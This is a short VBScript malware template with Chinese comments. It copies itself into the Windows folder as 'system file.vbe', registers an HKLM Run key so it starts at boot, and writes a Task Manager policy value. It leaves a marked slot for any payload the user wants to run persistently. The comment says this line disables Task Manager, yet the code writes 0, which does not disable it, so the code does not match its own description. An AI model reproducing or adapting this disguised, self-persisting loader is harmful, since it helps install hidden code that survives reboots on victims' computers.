*功能一：禁用【任务管理器】,判断系统文件夹下是否有此文件的复制文件即【system file.vbe】，若没有执行功能二，若有执行两道横线之间的源码
*功能二：复制自身到系统目录的【Windows】文件夹下并添加【开机启动】

Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = createobject("wscript.shell")
Set folder1 = fso.GetSpecialFolder(0)
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",0,"REG_DWORD" *若不需要禁用任务管理器请删除此行
if (fso.fileexists(folder1 & "\system file.vbe")) then
*---------------------------------------------------------------------------
*请在这两道横线中间输入源码
*---------------------------------------------------------------------------
else
fso.Copyfile WScript.ScriptFullName,folder1 & "\system file.vbe"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\System",folder1 & "\system file.vbe"
end if